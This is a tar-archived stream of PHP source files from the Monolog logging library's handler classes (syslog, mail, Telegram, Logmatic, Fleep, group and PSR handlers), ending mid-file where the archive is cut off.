����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php������������������������������0000644�����������������00000007414�15154650146�0022206 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use DateTimeInterface; use Monolog\Logger; use Monolog\Handler\SyslogUdp\UdpSocket; /** * A Handler for logging to a remote syslogd server. * * @author Jesper Skovgaard Nielsen <nulpunkt@gmail.com> * @author Dominik Kukacka <dominik.kukacka@gmail.com> */ class SyslogUdpHandler extends AbstractSyslogHandler { const RFC3164 = 0; const RFC5424 = 1; const RFC5424e = 2; private $dateFormats = array( self::RFC3164 => 'M d H:i:s', self::RFC5424 => \DateTime::RFC3339, self::RFC5424e => \DateTime::RFC3339_EXTENDED, ); protected $socket; protected $ident; protected $rfc; /** * @param string $host Either IP/hostname or a path to a unix socket (port must be 0 then) * @param int $port Port number, or 0 if $host is a unix socket * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param string $ident Program name or tag for each log message. * @param int $rfc RFC to format the message for. */ public function __construct(string $host, int $port = 514, $facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true, string $ident = 'php', int $rfc = self::RFC5424) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->rfc = $rfc; $this->socket = new UdpSocket($host, $port); } protected function write(array $record): void { $lines = $this->splitMessageIntoLines($record['formatted']); $header = $this->makeCommonSyslogHeader($this->logLevels[$record['level']], $record['datetime']); foreach ($lines as $line) { $this->socket->write($line, $header); } } public function close(): void { $this->socket->close(); } private function splitMessageIntoLines($message): array { if (is_array($message)) { $message = implode("\n", $message); } return preg_split('/$\R?^/m', (string) $message, -1, PREG_SPLIT_NO_EMPTY); } /** * Make common syslog header (see rfc5424 or rfc3164) */ protected function makeCommonSyslogHeader(int $severity, DateTimeInterface $datetime): string { $priority = $severity + $this->facility; if (!$pid = getmypid()) { $pid = '-'; } if (!$hostname = gethostname()) { $hostname = '-'; } if ($this->rfc === self::RFC3164 && ($datetime instanceof \DateTimeImmutable || $datetime instanceof \DateTime)) { $datetime->setTimezone(new \DateTimeZone('UTC')); } $date = $datetime->format($this->dateFormats[$this->rfc]); if ($this->rfc === self::RFC3164) { return "<$priority>" . $date . " " . $hostname . " " . $this->ident . "[" . $pid . "]: "; } else { return "<$priority>1 " . $date . " " . $hostname . " " . $this->ident . " " . $pid . " - - "; } } /** * Inject your own socket, mainly used for testing */ public function setSocket(UdpSocket $socket): self { $this->socket = $socket; return $this; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/HandlerInterface.php������������������������������0000644�����������������00000005332�15154650146�0022152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Interface that all Monolog Handlers must implement * * @author Jordi Boggiano <j.boggiano@seld.be> */ interface HandlerInterface { /** * Checks whether the given record will be handled by this handler. * * This is mostly done for performance reasons, to avoid calling processors for nothing. * * Handlers should still check the record levels within handle(), returning false in isHandling() * is no guarantee that handle() will not be called, and isHandling() might not be called * for a given record. * * @param array $record Partial log record containing only a level key * * @return bool */ public function isHandling(array $record): bool; /** * Handles a record. * * All records may be passed to this method, and the handler should discard * those that it does not want to handle. * * The return value of this function controls the bubbling process of the handler stack. * Unless the bubbling is interrupted (by returning true), the Logger class will keep on * calling further handlers in the stack with a given log record. * * @param array $record The record to handle * @return bool true means that this handler handled the record, and that bubbling is not permitted. * false means the record was either not processed or that this handler allows bubbling. */ public function handle(array $record): bool; /** * Handles a set of records at once. * * @param array $records The records to handle (an array of record arrays) */ public function handleBatch(array $records): void; /** * Closes the handler. * * Ends a log cycle and frees all resources used by the handler. * * Closing a Handler means flushing all buffers and freeing any open resources/handles. * * Implementations have to be idempotent (i.e. it should be possible to call close several times without breakage) * and ideally handlers should be able to reopen themselves on handle() after they have been closed. * * This is useful at the end of a request and will be called automatically when the object * is destroyed if you extend Monolog\Handler\Handler. * * If you are thinking of calling this method yourself, most likely you should be * calling ResettableInterface::reset instead. Have a look. */ public function close(): void; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php���������������������������������0000644�����������������00000003723�15154650146�0021534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Logs to syslog service. * * usage example: * * $log = new Logger('application'); * $syslog = new SyslogHandler('myfacility', 'local6'); * $formatter = new LineFormatter("%channel%.%level_name%: %message% %extra%"); * $syslog->setFormatter($formatter); * $log->pushHandler($syslog); * * @author Sven Paulus <sven@karlsruhe.org> */ class SyslogHandler extends AbstractSyslogHandler { protected $ident; protected $logopts; /** * @param string $ident * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $logopts Option flags for the openlog() call, defaults to LOG_PID */ public function __construct(string $ident, $facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true, int $logopts = LOG_PID) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->logopts = $logopts; } /** * {@inheritdoc} */ public function close(): void { closelog(); } /** * {@inheritdoc} */ protected function write(array $record): void { if (!openlog($this->ident, $this->logopts, $this->facility)) { throw new \LogicException('Can\'t open syslog for ident "'.$this->ident.'" and facility "'.$this->facility.'"'); } syslog($this->logLevels[$record['level']], (string) $record['formatted']); } } ���������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php���������������������������0000644�����������������00000012055�15154650146�0022632 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\LineFormatter; /** * NativeMailerHandler uses the mail() function to send the emails * * @author Christophe Coevoet <stof@notk.org> * @author Mark Garrett <mark@moderndeveloperllc.com> */ class NativeMailerHandler extends MailHandler { /** * The email addresses to which the message will be sent * @var array */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * Optional headers for the message * @var array */ protected $headers = []; /** * Optional parameters for the message * @var array */ protected $parameters = []; /** * The wordwrap length for the message * @var int */ protected $maxColumnWidth; /** * The Content-type for the message * @var string|null */ protected $contentType; /** * The encoding for the message * @var string */ protected $encoding = 'utf-8'; /** * @param string|array $to The receiver of the mail * @param string $subject The subject of the mail * @param string $from The sender of the mail * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $maxColumnWidth The maximum column width that the message lines will have */ public function __construct($to, string $subject, string $from, $level = Logger::ERROR, bool $bubble = true, int $maxColumnWidth = 70) { parent::__construct($level, $bubble); $this->to = (array) $to; $this->subject = $subject; $this->addHeader(sprintf('From: %s', $from)); $this->maxColumnWidth = $maxColumnWidth; } /** * Add headers to the message * * @param string|array $headers Custom added headers */ public function addHeader($headers): self { foreach ((array) $headers as $header) { if (strpos($header, "\n") !== false || strpos($header, "\r") !== false) { throw new \InvalidArgumentException('Headers can not contain newline characters for security reasons'); } $this->headers[] = $header; } return $this; } /** * Add parameters to the message * * @param string|array $parameters Custom added parameters */ public function addParameter($parameters): self { $this->parameters = array_merge($this->parameters, (array) $parameters); return $this; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $contentType = $this->getContentType() ?: ($this->isHtmlBody($content) ? 'text/html' : 'text/plain'); if ($contentType !== 'text/html') { $content = wordwrap($content, $this->maxColumnWidth); } $headers = ltrim(implode("\r\n", $this->headers) . "\r\n", "\r\n"); $headers .= 'Content-type: ' . $contentType . '; charset=' . $this->getEncoding() . "\r\n"; if ($contentType === 'text/html' && false === strpos($headers, 'MIME-Version:')) { $headers .= 'MIME-Version: 1.0' . "\r\n"; } $subject = $this->subject; if ($records) { $subjectFormatter = new LineFormatter($this->subject); $subject = $subjectFormatter->format($this->getHighestRecord($records)); } $parameters = implode(' ', $this->parameters); foreach ($this->to as $to) { mail($to, $subject, $content, $headers, $parameters); } } public function getContentType(): ?string { return $this->contentType; } public function getEncoding(): string { return $this->encoding; } /** * @param string $contentType The content type of the email - Defaults to text/plain. Use text/html for HTML messages. */ public function setContentType(string $contentType): self { if (strpos($contentType, "\n") !== false || strpos($contentType, "\r") !== false) { throw new \InvalidArgumentException('The content type can not contain newline characters to prevent email header injection'); } $this->contentType = $contentType; return $this; } public function setEncoding(string $encoding): self { if (strpos($encoding, "\n") !== false || strpos($encoding, "\r") !== false) { throw new \InvalidArgumentException('The encoding can not contain newline characters to prevent email header injection'); } $this->encoding = $encoding; return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/Curl/Util.php�������������������������������������0000644�����������������00000003514�15154650146�0020576 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\Curl; use CurlHandle; /** * This class is marked as internal and it is not under the BC promise of the package. * * @internal */ final class Util { private static $retriableErrorCodes = [ CURLE_COULDNT_RESOLVE_HOST, CURLE_COULDNT_CONNECT, CURLE_HTTP_NOT_FOUND, CURLE_READ_ERROR, CURLE_OPERATION_TIMEOUTED, CURLE_HTTP_POST_ERROR, CURLE_SSL_CONNECT_ERROR, ]; /** * Executes a CURL request with optional retries and exception on failure * * @param resource|CurlHandle $ch curl handler * @param int $retries * @param bool $closeAfterDone * @return bool|string @see curl_exec */ public static function execute($ch, int $retries = 5, bool $closeAfterDone = true) { while ($retries--) { $curlResponse = curl_exec($ch); if ($curlResponse === false) { $curlErrno = curl_errno($ch); if (false === in_array($curlErrno, self::$retriableErrorCodes, true) || !$retries) { $curlError = curl_error($ch); if ($closeAfterDone) { curl_close($ch); } throw new \RuntimeException(sprintf('Curl error (code %d): %s', $curlErrno, $curlError)); } continue; } if ($closeAfterDone) { curl_close($ch); } return $curlResponse; } return false; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php��������������������������������0000644�����������������00000006436�15154650146�0021700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * This simple wrapper class can be used to extend handlers functionality. * * Example: A custom filtering that can be applied to any handler. * * Inherit from this class and override handle() like this: * * public function handle(array $record) * { * if ($record meets certain conditions) { * return false; * } * return $this->handler->handle($record); * } * * @author Alexey Karapetov <alexey@karapetov.com> */ class HandlerWrapper implements HandlerInterface, ProcessableHandlerInterface, FormattableHandlerInterface, ResettableInterface { /** * @var HandlerInterface */ protected $handler; public function __construct(HandlerInterface $handler) { $this->handler = $handler; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return $this->handler->isHandling($record); } /** * {@inheritdoc} */ public function handle(array $record): bool { return $this->handler->handle($record); } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $this->handler->handleBatch($records); } /** * {@inheritdoc} */ public function close(): void { $this->handler->close(); } /** * {@inheritdoc} */ public function pushProcessor(callable $callback): HandlerInterface { if ($this->handler instanceof ProcessableHandlerInterface) { $this->handler->pushProcessor($callback); return $this; } throw new \LogicException('The wrapped handler does not implement ' . ProcessableHandlerInterface::class); } /** * {@inheritdoc} */ public function popProcessor(): callable { if ($this->handler instanceof ProcessableHandlerInterface) { return $this->handler->popProcessor(); } throw new \LogicException('The wrapped handler does not implement ' . ProcessableHandlerInterface::class); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \LogicException('The wrapped handler does not implement ' . FormattableHandlerInterface::class); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \LogicException('The wrapped handler does not implement ' . FormattableHandlerInterface::class); } public function reset() { if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/TelegramBotHandler.php����������������������������0000644�����������������00000012271�15154650146�0022457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use RuntimeException; use Monolog\Logger; /** * Handler send logs to Telegram using Telegram Bot API. * * How to use: * 1) Create telegram bot with https://telegram.me/BotFather * 2) Create a telegram channel where logs will be recorded. * 3) Add created bot from step 1 to the created channel from step 2. * * Use telegram bot API key from step 1 and channel name with '@' prefix from step 2 to create instance of TelegramBotHandler * * @link https://core.telegram.org/bots/api * * @author Mazur Alexandr <alexandrmazur96@gmail.com> */ class TelegramBotHandler extends AbstractProcessingHandler { private const BOT_API = 'https://api.telegram.org/bot'; /** * @var array AVAILABLE_PARSE_MODES The available values of parseMode according to the Telegram api documentation */ private const AVAILABLE_PARSE_MODES = [ 'HTML', 'MarkdownV2', 'Markdown' // legacy mode without underline and strikethrough, use MarkdownV2 instead ]; /** * Telegram bot access token provided by BotFather. * Create telegram bot with https://telegram.me/BotFather and use access token from it. * @var string */ private $apiKey; /** * Telegram channel name. * Since to start with '@' symbol as prefix. * @var string */ private $channel; /** * The kind of formatting that is used for the message. * See available options at https://core.telegram.org/bots/api#formatting-options * or in AVAILABLE_PARSE_MODES * @var string|null */ private $parseMode; /** * Disables link previews for links in the message. * @var bool|null */ private $disableWebPagePreview; /** * Sends the message silently. Users will receive a notification with no sound. * @var bool|null */ private $disableNotification; /** * @param string $apiKey Telegram bot access token provided by BotFather * @param string $channel Telegram channel name * @inheritDoc */ public function __construct( string $apiKey, string $channel, $level = Logger::DEBUG, bool $bubble = true, string $parseMode = null, bool $disableWebPagePreview = null, bool $disableNotification = null ) { parent::__construct($level, $bubble); $this->apiKey = $apiKey; $this->channel = $channel; $this->setParseMode($parseMode); $this->disableWebPagePreview($disableWebPagePreview); $this->disableNotification($disableNotification); } public function setParseMode(string $parseMode = null): self { if ($parseMode !== null && !in_array($parseMode, self::AVAILABLE_PARSE_MODES)) { throw new \InvalidArgumentException('Unknown parseMode, use one of these: ' . implode(', ', self::AVAILABLE_PARSE_MODES) . '.'); } $this->parseMode = $parseMode; return $this; } public function disableWebPagePreview(bool $disableWebPagePreview = null): self { $this->disableWebPagePreview = $disableWebPagePreview; return $this; } public function disableNotification(bool $disableNotification = null): self { $this->disableNotification = $disableNotification; return $this; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $messages = []; foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } if ($this->processors) { $record = $this->processRecord($record); } $messages[] = $record; } if (!empty($messages)) { $this->send((string) $this->getFormatter()->formatBatch($messages)); } } /** * @inheritDoc */ protected function write(array $record): void { $this->send($record['formatted']); } /** * Send request to @link https://api.telegram.org/bot on SendMessage action. * @param string $message */ protected function send(string $message): void { $ch = curl_init(); $url = self::BOT_API . $this->apiKey . '/SendMessage'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'text' => $message, 'chat_id' => $this->channel, 'parse_mode' => $this->parseMode, 'disable_web_page_preview' => $this->disableWebPagePreview, 'disable_notification' => $this->disableNotification, ])); $result = Curl\Util::execute($ch); $result = json_decode($result, true); if ($result['ok'] === false) { throw new RuntimeException('Telegram API error. Description: ' . $result['description']); } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/LogmaticHandler.php�������������������������������0000644�����������������00000004706�15154650146�0022015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LogmaticFormatter; /** * @author Julien Breux <julien.breux@gmail.com> */ class LogmaticHandler extends SocketHandler { /** * @var string */ private $logToken; /** * @var string */ private $hostname; /** * @var string */ private $appname; /** * @param string $token Log token supplied by Logmatic. * @param string $hostname Host name supplied by Logmatic. * @param string $appname Application name supplied by Logmatic. * @param bool $useSSL Whether or not SSL encryption should be used. * @param int|string $level The minimum logging level to trigger this handler. * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct(string $token, string $hostname = '', string $appname = '', bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true) { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use SSL encrypted connection for LogmaticHandler'); } $endpoint = $useSSL ? 'ssl://api.logmatic.io:10515' : 'api.logmatic.io:10514'; $endpoint .= '/v1/'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; $this->hostname = $hostname; $this->appname = $appname; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } /** * {@inheritdoc} */ protected function getDefaultFormatter(): FormatterInterface { $formatter = new LogmaticFormatter(); if (!empty($this->hostname)) { $formatter->setHostname($this->hostname); } if (!empty($this->appname)) { $formatter->setAppname($this->appname); } return $formatter; } } ����������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/WebRequestRecognizerTrait.php���������������������0000644�����������������00000001014�15154650146�0024067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; trait WebRequestRecognizerTrait { /** * Checks if PHP's serving a web request * @return bool */ protected function isWebRequest(): bool { return 'cli' !== \PHP_SAPI && 'phpdbg' !== \PHP_SAPI; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php������������������������0000644�����������������00000002112�15154650146�0023202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; use Doctrine\CouchDB\CouchDBClient; /** * CouchDB handler for Doctrine CouchDB ODM * * @author Markus Bachmann <markus.bachmann@bachi.biz> */ class DoctrineCouchDBHandler extends AbstractProcessingHandler { private $client; public function __construct(CouchDBClient $client, $level = Logger::DEBUG, bool $bubble = true) { $this->client = $client; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->client->postDocument($record['formatted']); } protected function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php��������������������������0000644�����������������00000002551�15154650146�0022766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Throwable; class FallbackGroupHandler extends GroupHandler { /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { try { $handler->handle($record); break; } catch (Throwable $e) { // What throwable? } } return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = []; foreach ($records as $record) { $processed[] = $this->processRecord($record); } $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); break; } catch (Throwable $e) { // What throwable? } } } } �������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FleepHookHandler.php������������������������������0000644�����������������00000006367�15154650146�0022137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; use Monolog\Logger; /** * Sends logs to Fleep.io using Webhook integrations * * You'll need a Fleep.io account to use this handler. * * @see https://fleep.io/integrations/webhooks/ Fleep Webhooks Documentation * @author Ando Roots <ando@sqroot.eu> */ class FleepHookHandler extends SocketHandler { protected const FLEEP_HOST = 'fleep.io'; protected const FLEEP_HOOK_URI = '/hook/'; /** * @var string Webhook token (specifies the conversation where logs are sent) */ protected $token; /** * Construct a new Fleep.io Handler. * * For instructions on how to create a new web hook in your conversations * see https://fleep.io/integrations/webhooks/ * * @param string $token Webhook token * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @throws MissingExtensionException */ public function __construct(string $token, $level = Logger::DEBUG, bool $bubble = true) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FleepHookHandler'); } $this->token = $token; $connectionString = 'ssl://' . static::FLEEP_HOST . ':443'; parent::__construct($connectionString, $level, $bubble); } /** * Returns the default formatter to use with this handler * * Overloaded to remove empty context and extra arrays from the end of the log message. * * @return LineFormatter */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(null, null, true, true); } /** * Handles a log record */ public function write(array $record): void { parent::write($record); $this->closeSocket(); } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST " . static::FLEEP_HOOK_URI . $this->token . " HTTP/1.1\r\n"; $header .= "Host: " . static::FLEEP_HOST . "\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * Builds the body of API call */ private function buildContent(array $record): string { $dataArray = [ 'message' => $record['formatted'], ]; return http_build_query($dataArray); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/GroupHandler.php����������������������������������0000644�����������������00000006005�15154650146�0021344 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\ResettableInterface; /** * Forwards records to multiple handlers * * @author Lenar Lõhmus <lenar@city.ee> */ class GroupHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface { use ProcessableHandlerTrait; /** @var HandlerInterface[] */ protected $handlers; protected $bubble; /** * @param HandlerInterface[] $handlers Array of Handlers. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(array $handlers, bool $bubble = true) { foreach ($handlers as $handler) { if (!$handler instanceof HandlerInterface) { throw new \InvalidArgumentException('The first argument of the GroupHandler must be an array of HandlerInterface instances.'); } } $this->handlers = $handlers; $this->bubble = $bubble; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return true; } } return false; } /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { $handler->handle($record); } return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = []; foreach ($records as $record) { $processed[] = $this->processRecord($record); } $records = $processed; } foreach ($this->handlers as $handler) { $handler->handleBatch($records); } } public function reset() { $this->resetProcessors(); foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } } public function close(): void { parent::close(); foreach ($this->handlers as $handler) { $handler->close(); } } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { foreach ($this->handlers as $handler) { if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); } } return $this; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php������������������������������������0000644�����������������00000005133�15154650146�0021015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Psr\Log\LoggerInterface; use Monolog\Formatter\FormatterInterface; /** * Proxies log messages to an existing PSR-3 compliant logger. * * If a formatter is configured, the formatter's output MUST be a string and the * formatted message will be fed to the wrapped PSR logger instead of the original * log record's message. * * @author Michael Moussa <michael.moussa@gmail.com> */ class PsrHandler extends AbstractHandler implements FormattableHandlerInterface { /** * PSR-3 compliant logger * * @var LoggerInterface */ protected $logger; /** * @var FormatterInterface|null */ protected $formatter; /** * @param LoggerInterface $logger The underlying PSR-3 compliant logger to which messages will be proxied * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(LoggerInterface $logger, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->logger = $logger; } /** * {@inheritDoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->formatter) { $formatted = $this->formatter->format($record); $this->logger->log(strtolower($record['level_name']), (string) $formatted, $record['context']); } else { $this->logger->log(strtolower($record['level_name']), $record['message'], $record['context']); } return false === $this->bubble; } /** * Sets the formatter. * * @param FormatterInterface $formatter */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $this->formatter = $formatter; return $this; } /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(): FormatterInterface { if (!$this->formatter) { throw new \LogicException('No formatter has been set and this handler does not have a default formatter'); } return $this->formatter; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php���������������������0000644�����������������00000000731�15154650146�0024137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the 